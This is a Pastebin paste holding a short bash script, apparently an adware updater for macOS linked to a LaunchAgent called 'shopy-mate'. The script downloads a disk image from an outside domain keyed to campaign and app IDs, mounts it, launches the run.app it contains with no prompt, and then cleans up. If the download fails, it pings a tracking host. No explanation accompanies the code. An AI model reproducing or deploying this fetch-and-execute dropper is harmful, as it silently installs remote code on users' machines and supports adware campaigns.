Advertisement
Guest User

Untitled

a guest
Dec 22nd, 2014
332
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.02 KB | None | 0 0
  1. dmg_domain='http://update.newstaticclientstack.com/mupdater'
  2. dmg_name='run.dmg'
  3. campaign_id=2455
  4. app_id=65515
  5. ver_file_path=~/Library/LaunchAgents/shopy-mate.ver
  6. ver=`cat $ver_file_path`
  7. dmg_url=$dmg_domain/$app_id/$campaign_id/$ver/$dmg_name
  8. tmpfile="/private/tmp/$RANDOM.dmg"
  9. curl_text=$(curl -sI "$dmg_url")
  10. response_code=$(echo "$curl_text" | grep "HTTP/1.[01] [23]..")
  11. exit_code=$?
  12. size=$(echo "$curl_text" | grep 'Content-Length' | sed 's/[^0-9]//g')
  13. dummy_size_threshold=100
  14. if [ "$exit_code" -eq "0" ]
  15. then
  16. if [ "$size" -gt "$dummy_size_threshold" ]
  17. then
  18. curl -o $tmpfile $dmg_url
  19. mount=`hdiutil mount -noautoopen -plist $tmpfile | grep -o '\/Volumes\/[^<]*'`
  20. open "$mount/run.app"
  21. sleep 10
  22. hdiutil unmount "$mount"
  23. rm $tmpfile
  24. value=$((ver+1))
  25. echo $value > $ver_file_path
  26. fi
  27. else
  28. curl -s "http://errors.newgenstatsnet.com/mac-error.gif?msg=updater404:campaignid:$campaign_id:app_id:$app_id:ver:$ver&funcName=updater404&errtype=update_tmpfile_didnt_exist"
  29. fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement